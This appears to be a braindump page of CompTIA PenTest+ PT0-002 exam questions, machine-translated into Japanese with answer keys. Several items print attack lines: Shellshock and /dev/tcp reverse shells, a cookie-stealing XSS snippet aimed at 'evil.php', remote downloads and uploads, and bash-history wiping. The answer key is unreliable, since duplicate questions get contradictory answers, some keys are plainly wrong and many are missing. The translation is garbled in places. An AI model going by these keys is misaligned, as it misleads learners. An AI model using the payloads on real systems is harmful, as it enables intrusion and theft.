# CompTIA.PT0-002.v2022-11-18.q82

| | |
|---|---|
| 試験コード: | PT0-002 |
| 試験名称: | CompTIA PenTest+ Certification |
| 認定資格: | CompTIA |
| 無料問題数: | 82 |
| バージョン: | v2022-11-18 |
| アクセス数: | 884 |
| ページビュー数: | 820 |
| https://www.jpnpdf.com/CompTIA.PT0-002.v2022-11-18.q82-mondaishu.html | |

最新問題: **1**
ペネトレーションテスターは、不明な環境のテスト中にping -Aコマンドを実行し、128TTLパケットを返しました。次のOSのうち、このタイプのパケットを返す可能性が最も高いのはどれですか？
**A.** アップル
**B.** ウィンドウ
**C.** Android
**D.** Linux
**Answer: B (**メーッセージを残す**)**

最新問題: **2**
ペネトレーションテスターは、システムにアクセスして永続性を確立してから、次のコマンドを実行します。
cat / dev / null> temp
touch -r .bash_history temp
mv temp .bash_history
テスターが実行する可能性が最も高いアクションは次のうちどれですか？
**A.** Bashの履歴を/ dev/nullにリダイレクトする
**B.** バッシュの履歴をクリアしてトラックをカバーする
**C.** さらに列挙するためにユーザーのBash履歴のコピーを作成する
**D.** インシデントレスポンダーを混乱させるためにシステム上にデコイファイルを作成する
**Answer: B (**メーッセージを残す**)**

最新問題: **3**
クライアントは、セキュリティ評価会社がホットサイトに対して侵入テストを実行することを望んでいます。テストの目的は、ビジネスの継続性の中断から保護する防御の有効性を判断することです。

このタイプの評価を開始する前に取るべき最も重要なアクションは次のうちどれですか？
**A.** フェイルオーバー環境がクライアントが所有していないリソースに依存しているかどうかを判別します。
**B.** クライアントがSOWに署名していることを確認します。
**C.** クライアントがホットサイトへのネットワークアクセスを許可していることを確認します。
**D.** クライアントとのコミュニケーションおよびエスカレーション手順を確立します。
**Answer: B (**メーッセージを残す**)**

最新問題**: 4**
Nmapスキャンの結果は次のとおりです。
2021-01-24 01:10ESTにNmap7.80（https://nmap.org）を開始
（10.2.1.22）のNmapスキャンレポート
ホストが稼働しています（遅延0.0102秒）。
表示されていません：998個のフィルターされたポート
ポートステートサービス
80/tcpオープンhttp
| _http-タイトル：80F 22%RH 1009.1MB（テキスト/ html）
| _http-slowloris-チェック：
| 脆弱：
| SlowlorisDoS攻撃
| <..>
デバイスタイプ：ブリッジ|汎用
実行中（推測）QEMU（95%）
OS CPE：cpe：/ a：qemu：qemu
ホストに完全に一致するOSが見つかりません（テスト条件は理想的ではありません）。
OS検出が実行されました。間違った結果があればhttps://nmap.org/submit/で報告してください。
Nmap完了：107.45秒でスキャンされた1つのIPアドレス（1つのホストアップ）
次のデバイスタイプのうち、最も類似した応答を示す可能性が最も高いのはどれですか？（2つ選択してください。）
**A.** ネットワークデバイス
**B.** 公開されているWebサーバー
**C.** ActiveDirectoryドメインコントローラー
**D.** IoT/組み込みデバイス
**E.** 公開されたRDP
**F.** 印刷キュー
**Answer: (**解答を表示する**)**
https://www.netscout.com/what-is-ddos/slowloris-attacks
出力のhttp-titleから、これは相対湿度を意味するRHを備えたIoTデバイスのように見えます。これは、結果を視覚化するためのWebベースのインターフェイスを提供します。

最新問題: **5**
Webサイトで侵入テストを実行しているテスターは、次の出力を受け取ります。
警告 :mysql_fetch_array（は、パラメーター1がリソースであると想定しています。ブール値は/var/www/search.phpの62行目にあります。次のコマンドのどれを使用してWebサイトをさらに攻撃できますか？
**A.** 1 UNION SELECT 1、DATABASE（）3--
**B.** /var/www/html/index.php; whoami
**C.** <script> var adr ='../evil.php?test=' + escape（document.cookie）; </ script>
**D.** ../../../../../../../../../../etc/passwd
**Answer: B (**メーッセージを残す**)**

最新問題: **6**
ペネトレーションテスターは最近、企業環境内のコアネットワークデバイスのセキュリティのレビューを完了しました。主な調査結果は次のとおりです。
*次のリクエストがネットワークデバイスに送信されるために傍受されました。
GET / login HTTP / 1.1
ホスト :10.50.100.16
ユーザーエージェント :Mozilla / 5.0（X11; Linux x86_64; rv :31.0）Gecko / 20100101 Firefox / 31.0
Accept-Language :en-US、en; q = 0.5接続 :keep-alive認証：基本
WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk
*ネットワーク管理インターフェイスは実稼働ネットワークで使用できます。
*Nmapスキャンは次を返しました：
最終レポートの推奨事項セクションに追加するのに最適なものは次のうちどれですか？ 2つ選択してください。）
**A.** より良い認証方法を実装します。
**B.** ネットワーク管理および制御インターフェースを排除します。
**C.** SSHデーモンを無効にするかアップグレードします。
**D.** HTTP/301リダイレクト構成を無効にします。
**E.** 管理用の帯域外ネットワークを作成します。
**F.** 強化されたパスワードの複雑さの要件を適用します。
**Answer: (**解答を表示する**)**

最新問題: **7**
ペネトレーションテスターは、サーバーからMD5ハッシュを収集し、レインボーテーブルでハッシュを簡単に解読することができました。
次のうち、修復レポートに推奨事項として含める必要があるのはどれですか？
**A.** サーバーのアクセス制御
**B.** パッチ管理プログラム
**C.** より強力なアルゴリズム要件
**D.** ユーザーパスワードの暗号化

**Answer: D (メーッセージを残す)**

最新問題: **8**
次のベストのうち、クライアントが侵入テストチームとのレッスンで学んだ会議を開催する理由を説明しているのはどれですか？
**A.** 調査結果について話し合い、誤検知について異議を申し立てる
**B.** レポート構造に関するフィードバックを提供し、改善を推奨する
**C.** 侵入テストチームがテスト中に収集されたすべての企業データを確実に破棄するため
**D.** 評価中に期待に応えられなかったプロセスを特定する
**Answer: D (メーッセージを残す)**

最新問題: **9**
ペネトレーションテスターは、潜在的に脆弱なサービスについて企業のラボネットワークをスキャンしています。次のNmapコマンドのうち、潜在的な攻撃者にとって興味深い可能性のある脆弱なポートを返すのはどれですか？
**A.** nmap192.168.1.1-5-Ss22-25,80
**B.** nmap192.168.1.1-5-PU22-25,80
**C.** nmap192.168.1.1-5-PS22-25,80
**D.** nmap192.168.1.1-5-PA22-25,80
**Answer: C (メーッセージを残す)**

最新問題: **10**
大規模なクライアントは、侵入テスターがネットワーク内でインターネットに接続しているデバイスをスキャンすることを望んでいます。クライアントは、認証要件のないCiscoデバイスを特に探しています。Shodanの次の設定のうち、クライアントの要件を満たすのはどれですか？
**A.** "cisco-ios" "no-password"
**B.** "cisco-ios" "default-passwords"
**C.** "cisco-ios" "admin + 1234"
**D.** "cisco-ios" "last-modified"
**Answer: C (メーッセージを残す)**

最新問題: **11**
ペネトレーションテスターは、PCIDSSv3.2.1に準拠した財務システムでテストを実行する必要があります。システムのスキャンを完了するための最小頻度は次のうちどれですか？
**A.** 四半期ごと
**B.** 毎週
**C.** 毎年
**D.** 毎月
**Answer: B (メーッセージを残す)**

最新問題: **12**
ペネトレーションテスターは、10.10.1.1で脆弱なWebサーバーを発見します。次に、テスターは、Webエクスプロイトを送信して次のコードに遭遇するPythonスクリプトを編集します。
エクスプロイト={"User-Agent" :"（{無視;}; / bin / bash -i>＆/dev/tcp/127.0.0.1/9090 0>＆1"、"Accept" :
"text / html、application / xhtml + xml、application / xml"}
サーバーが実行されているユーザーコンテキストを判別するために、テスターがスクリプトに対して行う必要がある編集は次のうちどれですか？
**A.** エクスプロイト= {"User-Agent" :"（{無視;}; / bin / bash -i>＆find / -perm -4000"、"Accept" :
"text / html、application / xhtml + xml、application / xml"}
**B.** エクスプロイト= {"User-Agent" :"（{無視;}; / bin / sh -i ps -ef" 0>＆1 "、" Accept " :
"text / html、application / xhtml + xml、application / xml"}
**C.** エクスプロイト= {"User-Agent" :"（{無視;}; / bin / bash -i>＆/dev/tcp/10.10.1.1/80" 0>＆1 "、" Accept " :
"text / html、application / xhtml + xml、application / xml"}
**D.** エクスプロイト= {"User-Agent" :"（{無視;}; / bin / bash -i id; whoami"、"Accept" :
"text / html、application / xhtml + xml、application / xml"}
**Answer: (**解答を表示する**)**

最新問題: **13**
Nmapスキャンの結果は次のとおりです。
このデバイスについての最良の結論は次のうちどれですか？
**A.** このデバイスは、TCP / 22を介したトランザクションがハートビート拡張パケットを処理する方法が原因で、Heartbleedバグに対して脆弱である可能性があり、攻撃者がプロセスメモリから機密情報を取得できるようにします。
**B.** このデバイスは、帯域内管理サービスを備えたゲートウェイである可能性があります。
**C.** DNSSEC検証の前にパケットからDNS名を抽出するために使用される方法にバターオーバーフローの脆弱性があるため、このデバイスはリモートコード実行に対して脆弱である可能性があります。
**D.** このデバイスは、TCP/443を介してリクエストを転送するプロキシサーバーである可能性があります。
**Answer: (**解答を表示する**)**

最新問題: **14**
システム管理者と技術スタッフが表示する侵入テストレポートの修正セクションを作成するときに、次のどのタイプの情報を含める必要がありますか？
**A.** 試験会社に関するエグゼクティブサマリーと情報
**B.** 評価からの交戦規定
**C.** 侵害された場合のビジネスへの影響に関する情報
**D.** 脆弱性の簡単な説明とそれを修正するための高レベルの制御

**Answer: (**解答を表示する**)**

最新問題**: 15**
クライアントは、侵入テストスキャンに次のUDPサービスを含めるように要求しました：
SNMP、NetBIOS、およびDNS。次のNmapコマンドのどれがスキャンを実行しますか？
**A.** nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
**B.** nmap -vv sUV -p 53、122-123、160-161 10.10.1.20/24 -oA udpscan
**C.** nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
**D.** nmap -vv sUV -p 53、123-159 10.10.1.20/24 -oA udpscan
**Answer: A (**メーッセージを残す**)**

最新問題**: 16**
Nmapスキャンの結果は次のとおりです。
このデバイスについての最良の結論は次のうちどれですか？
**A.** このデバイスは、TCP / 22を介したトランザクションがハートビート拡張パケットを処理する方法が原因で、Heartbleedバグに対して脆弱である可能性があり、攻撃者がプロセスメモリから機密情報を取得できるようにします。
**B.** このデバイスは、帯域内管理サービスを備えたゲートウェイである可能性があります。
**C.** このデバイスは、TCP/443を介してリクエストを転送するプロキシサーバーである可能性があります。
**D.** DNSSEC検証の前にパケットからDNS名を抽出するために使用される方法にバターオーバーフローの脆弱性があるため、このデバイスはリモートコード実行に対して脆弱である可能性があります。
**Answer: B (**メーッセージを残す**)**
ハートブリードバグは、SSHに影響を与えないオープンsslバグです。参照 :https ://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh



最新問題**: 17**
ある会社は、製造工場のサイバーフィジカルシステムをレビューするために侵入テストチームを雇いました。チームはすぐに、監視システムとPLCの両方が会社のイントラネットに接続されていることを発見しました。次の仮定のうち、侵入テストチームが行った場合、最も可能性が高いのはどれですか。

有効？
**A.** PLCは、ネットワークを介して注入されたコマンドには作用しません。
**B.** 監視システムは、コード/コマンドの悪意のある挿入を検出します。
**C.** コントローラーはコマンドの発信元を検証しません。
**D.** スーパーバイザーとコントローラーは、デフォルトで別の仮想ネットワーク上にあります。
**Answer: C (**メーッセージを残す**)**

最新問題**: 18**
次のツールのうち、パッシブ偵察をサポートするIoTデバイスのベンダーやその他のセキュリティ関連情報を収集するのに最も役立つのはどれですか？
**A.** WebScarab-NG
**B.** Nessus
**C.** 正段
**D.** Nmap
**Answer: (**解答を表示する**)**

最新問題**: 19**
コンサルティング会社は、スコーピング中にROEを完了しています。
次のうちどれをROEに含める必要がありますか？
**A.** テストの制限
**B.** 評価のコスト
**C.** 責任
**D.** レポートの配布
**Answer: D (**メーッセージを残す**)**

最新問題**: 20**
警備会社は、PIIと給与データを格納する人材サーバーへのアクセスを試みるために、スコープを絞った内部脅威評価を実行するように契約されています。侵入テスターには、内部ネットワークの開始位置が与えられています。
次の行動のうち、実行された場合、評価の範囲内で倫理的となるのはどれですか？
**A.** アウトバウンドTLSトラフィックの傍受
**B.** 企業全体の更新サーバーにマルウェアを挿入してホストにアクセスする
**C.** ドメインコントローラーでの永続性の確立と維持
**D.** SQLデータベースの構成の弱点を悪用する
**E.** 内部CAの脆弱性を利用して、不正なクライアント証明書を発行します
**Answer: A (**メーッセージを残す**)**

最新問題**: 21**
クラウド環境で侵入テストを行う場合、侵入テスターが最初に検討する必要があるのは次のうちどれですか？

**A.** クラウドサービスプロバイダーが侵入テスターに環境のテストを許可しているかどうか
**B.** 特定のクラウドサービスがアプリケーションによって使用されているかどうか
**C.** クラウドサービスが実行されている地理的な場所
**D.** クラウドサービスの拠点となる国に妨害法があるかどうか
**Answer: C (メーッセージを残す)**
セクション:(なし）
説明

最新問題**: 22**
ペネトレーションテスターは、会社の業務への影響を最小限に抑える必要があるクライアントのためにアクティビティを実行する準備をしています。次のうち、パッシブ偵察ツールと見なされるのはどれですか？ 2つ選択してください。）
**A.** 日東
**B.** Wireshark
**C.** 網膜
**D.** Nessus
**E.** Burp Suite
**F.** 正段
**Answer: B,F (メーッセージを残す)**

最新問題**: 23**
あなたは、Webサーバーの強化を任務とするセキュリティアナリストです。
悪意のあるものとしてフラグが立てられたHTTPペイロードのリストが提供されました。
手順
次の攻撃シグネチャを前提として、攻撃の種類を特定し、関連する修復を特定して、将来の攻撃を防止します。
シミュレーションの初期状態に戻したい場合は、いつでも[すべてリセット]ボタンをクリックしてください。
**Answer:**

最新問題**: 24**
次のWebアプリケーションのセキュリティリスクのうち、OWASP Top 10 v2017の一部であるものはどれですか？ 2つ選択してください。）
**A.** ランサムウェア攻撃
**B.** 注入の欠陥
**C.** ゼロデイ攻撃
**D.** バッファオーバーフロー
**E.** 競合状態の攻撃
**F.** クロスサイトスクリプティング
**Answer: D,F (メーッセージを残す)**

最新問題: **25**
ペネトレーションテスターは、ディレクトリトラバーサルを介してパスにアップロードする機能を提供する脆弱性を発見しました。この脆弱性によって発見されたファイルのいくつかは次のとおりです。
攻撃者が影響を受けるマシンへの内部アクセスを取得するのに役立つ最善の方法は次のうちどれですか？
**A.** リモートコールバック用の1行のコードで検出されたファイルを編集します
**B.** smb.confファイルをダウンロードして、構成を確認します
**C.** .plファイルをダウンロードし、ユーザー名とパスワードを探します
**D.** smb.confファイルを編集してサーバーにアップロードします
**Answer: D (**メーッセージを残す**)**

最新問題: **26**
自動車業界向けの組み込みソフトウェアを開発している会社は、製品のセキュリティを納品前に評価するために侵入テストチームを雇っています。ペネトレーションテストチームは、バイナリを分析して概念実証エクスプロイトを開発できるリバースエンジニアリングチームに下請け契約を結ぶ意向を表明しています。ソフトウェア会社は、下請け契約の承認前に、リバースエンジニアリングチームに追加の経歴調査を要求しました。次の懸念のうち、ソフトウェア会社の要求を最もよくサポートするのはどれですか？
**A.** リバースエンジニアリングチームは、エクスプロイトをサードパーティに販売した経歴がある可能性があります。
**B.** リバースエンジニアリングチームには、分析用のソースコードへのアクセス権が与えられます。
**C.** リバースエンジニアリングチームは、分析にクローズドソースまたはその他の非公開情報フィードを使用する場合があります。
**D.** リバースエンジニアリングチームは、自動車業界に十分な安全プロトコルを浸透させていない可能性があります。
**Answer: B (**メーッセージを残す**)**

最新問題: **27**
ある会社は、製造工場のサイバーフィジカルシステムをレビューするために侵入テストチームを雇いました。
チームはすぐに、監視システムとPLCの両方が会社のイントラネットに接続されていることを発見しました。次の仮定のうち、侵入テストチームが行った場合、最も有効である可能性が高いのはどれですか？
**A.** 監視システムは、コード/コマンドの悪意のある挿入を検出します。
**B.** スーパーバイザーとコントローラーは、デフォルトで別の仮想ネットワーク上にあります。
**C.** PLCは、ネットワークを介して注入されたコマンドには作用しません。
**D.** コントローラーはコマンドの発信元を検証しません。

**Answer: (**解答を表示する**)**

最新問題**: 28**
あなたは、Webブラウザを介してクライアントのWebサイトをレビューする侵入テスターです。
手順
ブラウザを介してWebサイトのすべてのコンポーネントを確認し、脆弱性が存在するかどうかを判断します。
証明書、ソース、またはCookieのいずれかから最も高い脆弱性のみを修正します。
シミュレーションの初期状態に戻したい場合は、いつでも[すべてリセット]ボタンをクリックしてください。

**Answer:**
説明
自動生成されたグラフィカルユーザーインターフェイスの説明

最新問題**: 29**
評価が完了し、すべてのレポートと証拠がクライアントに提出されました。クライアントの情報の機密性を確保するために、次に実行する必要があるのは次のうちどれですか？
**A.** クライアントがレポートを確認した後、調査結果を公開します
**B.** 将来の分析のために、クライアント情報を暗号化して保存します
**C.** 調査結果を規制監督グループに報告する
**D.** 確立されたデータ保持および破棄プロセスに従います
**Answer: (**解答を表示する**)**

最新問題**: 30**
ペネトレーションテスターは、ステージングサーバーで次のコマンドを実行しました。
python -m SimpleHTTPServer 9891
次のコマンドのどれを使用して、exploitという名前のファイルをターゲットマシンにダウンロードして実行できますか？
**A.** bash -i> &/dev/tcp/10.10.51.50/9891 0＆1> / exploit
**B.** nc 10.10.51.509891<エクスプロイト
**C.** wget 10.10.51.50 :9891 / exploit
**D.** powershell -exec bytes -f \\ 10.10.51.50 \ 9891
**Answer: (**解答を表示する**)**

最新問題**: 31**
会社から要求された評価を行っている侵入テスターは、二重タグ付けを使用してトラフィックを別のシステムに送信したいと考えています。次のテクニックのうち、この目標を最もよく達成するのはどれですか？
**A.** RFIDクローニング
**B.** RFIDタグ付け

**C.** メタタグ付け
**D.** タグのネスト
**Answer: D (**メーッセージを残す**)**
VLANホッピングでは、2つのVLANを1つのパケットにネストする必要があるためです。ダブルタグ付けは、攻撃者がイーサネットフレームにタグを追加および変更して、任意のVLANを介したパケットの送信を許可する場合に発生します。この攻撃は、タグを処理するスイッチの数を利用します。ほとんどのスイッチは、外部タグのみを削除し、フレームをすべてのネイティブVLANポートに転送します。そうは言っても、このエクスプロイトは、攻撃者がトランクリンクのネイティブVLANに属している場合にのみ成功します。https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation



最新問題**: 32**
自動車業界向けの組み込みソフトウェアを開発している会社は、製品のセキュリティを納品前に評価するために侵入テストチームを雇っています。ペネトレーションテストチームは、バイナリを分析して概念実証エクスプロイトを開発できるリバースエンジニアリングチームに下請け契約を結ぶ意向を表明しています。ソフトウェア会社は、下請け契約の承認前に、リバースエンジニアリングチームに追加の経歴調査を要求しました。次の懸念のうち、ソフトウェア会社の要求を最もよくサポートするのはどれですか？
**A.** リバースエンジニアリングチームは、エクスプロイトをサードパーティに販売した経歴がある可能性があります。
**B.** リバースエンジニアリングチームには、分析用のソースコードへのアクセス権が与えられます。
**C.** リバースエンジニアリングチームは、自動車業界に十分な安全プロトコルを浸透させていない可能性があります。
**D.** リバースエンジニアリングチームは、分析にクローズドソースまたはその他の非公開情報フィードを使用する場合があります。
**Answer: A (**メーッセージを残す**)**

最新問題**: 33**
ペネトレーションテスターは、SSHDが実行されているLinuxサーバーで実行を取得するために利用できるCVEを特定したいと考えています。次のうちどれがこのタスクを最もよくサポートしますか？

**A.** ターゲットに対して-sAオプションを設定してnmapを実行します
**B.** ターゲットに対して-sVおよび-p22オプションを設定してnmapを実行します
**C.** ターゲットに対して--scriptvulnersオプションを設定してnmapを実行します
**D.** ターゲットに対して-q -p22、および-sCオプションを設定してnmapを実行します
**Answer: B (**メーッセージを残す**)**

最新問題**: 34**
文字列値を別の文字列に追加することを呼びます。
**A.** 接続詞
**B.** 連結
**C.** 接続
**D.** コンパイル
**Answer: (**解答を表示する**)**

最新問題**: 35**
ペネトレーションテストの実施中に、コンサルタントはクライアントの偵察を実行して、フィッシングキャンペーンの潜在的なターゲットを特定します。コンサルタントが、クライアントのサイバーセキュリティツールをトリガーすることなく、技術担当者および請求担当者の電子メールアドレスをすばやく取得できるようにするのは次のうちどれですか？ 2つ選択してください。）
**A.** ソーシャルメディアサイトのスクレイピング
**B.** WHOISルックアップツールを使用する
**C.** クライアント施設の近くでウォードライビングを実施
**D.** フィッシング会社の従業員
**E.** クライアントのWebサイトをクロールする
**F.** DNSルックアップツールの利用
**Answer: B,E (**メーッセージを残す**)**

最新問題**: 36**
ある会社が侵入テスターを採用して、ネットワーク上でワイヤレスIDSを構成しました。次のツールのうち、ワイヤレスIDSソリューションの有効性を最もよくテストするのはどれですか？
**A.** Wireshark
**B.** Wifite
**C.** キスメット
**D.** Aircrack-ng
**Answer: D (**メーッセージを残す**)**

最新問題**: 37**
セキュリティ専門家は、TCPポート3011でリッスンしている独自のサービスに無効なパケットを送信してIoTデバイスをテストしたいと考えています。セキュリティ専門家がTCPヘッダーの長さ

とチェックサムを任意の数値を使用して簡単かつプログラムで操作し、監視できるようにするのは次のうちどれですか。独自のサービスはどのように応答しますか？
**A.** Nmap
**B.** tcpdump
**C.** Scapy
**D.** hping3
**Answer: (**解答を表示する**)**
説明
https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html

最新問題**: 38**
ペネトレーションテスターはパス上の攻撃位置を確立し、ターゲットホストに返送するDNSクエリ応答を特別に作成する必要があります。次のユーティリティのうち、この目的を最もよくサポートするのはどれですか？
**A.** ソキャット
**B.** tcpdump
**C.** Scapy
**D.** 掘る
**Answer: (**解答を表示する**)**
https://thepacketgeek.com/scapy/building-network-tools/part-09/

最新問題**: 39**
企業は、クラウドVMがサイバー攻撃に対して脆弱であり、専有データが盗まれる可能性があることを懸念しています。
ペネトレーションテスターは、脆弱性が存在することを確認し、クライアントのVMのIaaSコンポーネントに偽のVMインスタンスを追加することで脆弱性を悪用します。次のクラウド攻撃のうち、侵入テスターが最も実装した可能性が高いのはどれですか？
**A.** クロスサイトスクリプティング
**B.** 直接起点
**C.** マルウェアの注入
**D.** 資格情報の収集
**Answer: B (**メーッセージを残す**)**

最新問題**: 40**
あなたは、Webブラウザを介してクライアントの Webサイトをレビューする侵入テスターです。
手順
ブラウザを介してWebサイトのすべてのコンポーネントを確認し、脆弱性が存在するかどうかを判断します。
証明書、ソース、またはCookieのいずれかから最も高い脆弱性のみを修正します。

シミュレーションの初期状態に戻したい場合は、いつでも[すべてリセット]ボタンをクリックしてください。

**Answer:**

最新問題: **41**
侵入テスターは、クライアントの建物内の安全な部屋にアクセスするための物理的な侵入テストを実行するために雇われました。外部偵察は、2つの入り口、WiFiゲストネットワーク、およびインターネットに接続された複数の防犯カメラを識別します。
次のツールまたはテクニックのうち、追加の偵察を最もよくサポートするのはどれですか？
**A.** 偵察
**B.** 正段
**C.** ウォードライビング
**D.** Aircrack-ng
**Answer: A (**メーッセージを残す**)**

最新問題: **42**
Nmapスキャンは、Webサーバーとデータベースで開いているポートを示します。ペネトレーションテスターは、WPScanとSQLmapを実行して、これらのシステムに関する脆弱性と追加情報を特定することを決定します。
ペネトレーションテスターが達成しようとしているのは次のうちどれですか？
**A.** スコープに基づいて侵襲性を制限します。
**B.** 環境内のすべての脆弱性を特定します。
**C.** 収集された証拠に基づいて潜在的な犯罪活動を明らかにします。
**D.** 調査結果の機密性を維持します。
**Answer: A (**メーッセージを残す**)**

最新問題: **43**
ペネトレーションテスターは、以下を生成する検出スキャンを実行しました。
次のコマンドのどれが上記の結果を生成し、さらに分析するためにそれらをアクティブなホストのリストに変換しますか？
**A.** nmap -o 192.168.0.1-254、cut -f 2
**B.** nmap -sn 192.168.0.1-254、grep "Nmap scan" | awk'{print S5}'
**C.** nmap -oG list.txt 192.168.0.1-254、並べ替え
**D.** nmap --open 192.168.0.1-254、uniq
**Answer: (**解答を表示する**)**

最新問題: **44**
あなたは、Webサーバーの強化を任務とするセキュリティアナリストです。
悪意のあるものとしてフラグが立てられたHTTPペイロードのリストが提供されました。

手順
次の攻撃シグネチャを前提として、攻撃の種類を特定し、関連する修復を特定して、将来の攻撃を防止します。
シミュレーションの初期状態に戻したい場合は、いつでも[すべてリセット]ボタンをクリックしてください。
**Answer:**

最新問題: **45**
ペネトレーションテスターは、潜在的に脆弱なサービスについて企業のラボネットワークをスキャンしています。次のNmapコマンドのうち、潜在的な攻撃者にとって興味深い可能性のある脆弱なポートを返すのはどれですか？
**A.** nmap 192.168.1.1-5 -PA22-25,80
**B.** nmap 192.168.1.1-5 -PU22-25,80
**C.** nmap 192.168.1.1-5 -Ss22-25,80
**D.** nmap 192.168.1.1-5 -PS22-25,80
**Answer: D (**メーッセージを残す**)**

最新問題: **46**
ペネトレーションテスターは、デフォルト構成のWindowsサーバーで低特権シェルを取得し、誤って構成されたサービス権限を悪用する機能を調査したいと考えています。テスターがこのプロセスを開始するのに役立つコマンドは次のうちどれですか？
**A.** powershell（New-Object System.Net.WebClient）.UploadFile "(http://192.168.2.124/upload.php'、'systeminfo.txt'）
**B.** certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
**C.** schtasks / query / fo LIST / v | / I 次の実行時間 :」を検索します
**D.** wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe
**Answer: A (**メーッセージを残す**)**



最新問題: **47**
Nmapスキャンの結果は次のとおりです。
2021-01-24 01:10ESTにNmap7.80（https://nmap.org）を開始
（10.2.1.22）のNmapスキャンレポート

ホストが稼働しています（遅延0.0102秒）。
表示されていません :998個のフィルターされたポート
ポートステートサービス
80/tcpオープンhttp
| _http-タイトル :80F 22%RH 1009.1MB （テキスト/ html）
| _http-slowloris-チェック：
| 脆弱：
| SlowlorisDoS攻撃
| <..>
デバイスタイプ :ブリッジ汎用
実行中（推測）QEMU（95%）
OS CPE :cpe :/ a :qemu :qemu
ホストに完全に一致するOSが見つかりません（テスト条件は理想的ではありません）。
OS検出が実行されました。間違った結果があればhttps://nmap.org/submit/で報告してください。
Nmap完了 :107.45秒でスキャンされた1つのIPアドレス（1つのホストアップ）
次のデバイスタイプのうち、最も類似した応答を示す可能性が最も高いのはどれですか？（2つ選択してください。）
**A.** 印刷キュー
**B.** IoT/組み込みデバイス
**C.** ActiveDirectoryドメインコントローラー
**D.** 公開されているWebサーバー
**E.** 公開されたRDP
**F.** ネットワークデバイス
**Answer: D,F (**メーッセージを残す**)**

最新問題**: 48**
レッドチームは、エンゲージメント中にクライアントの内部ネットワークにアクセスし、レスポンダーツールを使用して重要なデータをキャプチャしました
a。次のうち、テストチームによってキャプチャされたものはどれですか？
**A.** IPアドレス
**B.** SMBを介して送信されたユーザーハッシュ
**C.** 暗号化されたファイル転送
**D.** 複数のハンドシェイク
**Answer: (**解答を表示する**)**

最新問題**: 49**
Webアプリケーションテストを実施している侵入テスターが、財務データへのログインページに関連するクリックジャッキングの脆弱性を発見しました
a。これを悪用するために、テスターはこの情報をどのように処理する必要がありますか？
**A.** ブラウザのautopwnを使用します。

**B.** BeEFを使用します。
**C.** 水飲み場型攻撃を実行します。
**D.** XSSを実行します。
**Answer: D (**メーッセージを残す**)**

最新問題**: 50**
ある企業は、クラウドサービスプロバイダーがソフトウェア開発を収容するVMを適切に保護していないことを懸念しています。VMは、物理リソースを共有している他の企業とのデータセンターに収容されています。
次の攻撃タイプのうち、会社にとって最も懸念しているのはどれですか？
**A.** サイドチャネル
**B.** データフラッディング
**C.** セッションライディング
**D.** サイバースクワッティング
**Answer: C (**メーッセージを残す**)**

最新問題**: 51**
ペネトレーションテスターは、VoIPコールマネージャーで新しくリリースされたCVEをいくつか特定しました。テスターが使用したスキャンツールは、サービスのバージョン番号に基づいてCVEの存在の可能性を判断しました。次の方法のうち、考えられる結果の検証を最もよくサポートするのはどれですか？
**A.** パス上の位置からのSIPトラフィックを確認して、侵入の痕跡を探します
**B.** VoIPサービスのバージョン番号をCVEリリースと照合して手動で確認します
**C.** エクスプロイトデータベースの概念実証コードを使用してテストする
**D.** サービスに対してnmap-sVスキャンを利用する
**Answer: C (**メーッセージを残す**)**

最新問題**: 52**
次のプロトコルまたはテクノロジーのうち、最終的なセキュリティ評価レポートを電子メールで送信するための転送中の機密保護を提供するのはどれですか？
**A.** AS2
**B.** S / MIME
**C.** FTPS
**D.** DNSSEC
**Answer: B (**メーッセージを残す**)**

最新問題**: 53**
ペネトレーションテスターは、マシン上でunshadowコマンドを実行します。テスターがNEXTを使用する可能性が最も高いツールは次のうちどれですか？
**A.** ミミカッツ

**B.** カインとアベル
**C.** ハイドラ
**D.** John the Ripper
**Answer: D (**メーッセージを残す**)**

最新問題**: 54**
コンプライアンスベースの侵入テストは、主に次のことに関係しています。
**A.** 保護されたネットワークからPIIを取得します。
**B.** 保護されたネットワークから特定の情報を取得します。
**C.** エッジデバイスの保護をバイパスします。
**D.** 特定の一連のセキュリティ標準の有効性を判断します。
**Answer: D (**メーッセージを残す**)**

最新問題**: 55**
ペネトレーションテスターは、Windowsホストへのシェルアクセスを取得しており、wmic.exeプロセス呼び出しの作成関数を使用して後で実行するために特別に細工されたバイナリを実行したいと考えています。次のOSまたはファイルシステムメカニズムのうち、この目的をサポートする可能性が最も高いのはどれですか？
**A.** MP4ステガノグラフィ
**B.** PowerShellモジュール
**C.** PsExec
**D.** 代替データストリーム
**Answer: (**解答を表示する**)**

最新問題**: 56**
ペネトレーションテスターは最近、ソーシャルエンジニアリング攻撃を実行しました。この攻撃では、テスターが地元のコーヒーショップで対象企業の従業員を見つけ、時間の経過とともにその従業員との関係を構築しました。従業員の誕生日に、テスターは従業員に外付けハードドライブをプレゼントしました。テスターが利用したソーシャルエンジニアリング攻撃は次のうちどれですか？
**A.** ベイティング
**B.** フィッシング
**C.** テールゲート
**D.** ショルダーサーフィン
**Answer: (**解答を表示する**)**

最新問題**: 57**
ペネトレーションテスターは、エンゲージメントの範囲内のWebサーバーがバックドアによってすでに侵害されていることを発見します。次のうち、侵入テスターが次に行うべきことはどれですか？

**A.** エンゲージメントを継続し、バックドアの調査結果を最終レポートに含めます
**B.** バックドアについてすぐに顧客に通知する
**C.** バックドア型トロイの木馬を法的に取得し、帰属を実行する
**D.** エンゲージメントをサポートするためにバックドアを利用する
**Answer: (**解答を表示する**)**

最新問題: **58**
ペネトレーションテスターは、パブリッククラウドプロバイダーによってホストされているWebアプリケーションをテストしています。テスターは、プロバイダーのメタデータを照会し、インスタンスが自身を認証するために使用する資格情報を取得できます。テスターが悪用した脆弱性は次のうちどれですか？
**A.** サーバー側のリクエストフォージェリ
**B.** ローカルファイルインクルード
**C.** クロスサイトリクエストフォージェリ
**D.** リモートファイルインクルード
**Answer: A (**メーッセージを残す**)**

最新問題: **59**
ペネトレーションテスターは、企業のクラウド環境にユーザーとしてログインします。テスターが既存のユーザーのアクセスレベルを判断できるようにするPacuモジュールは次のうちどれですか？
**A.** iam_backdoor_assume_role
**B.** iam_enum_permissions
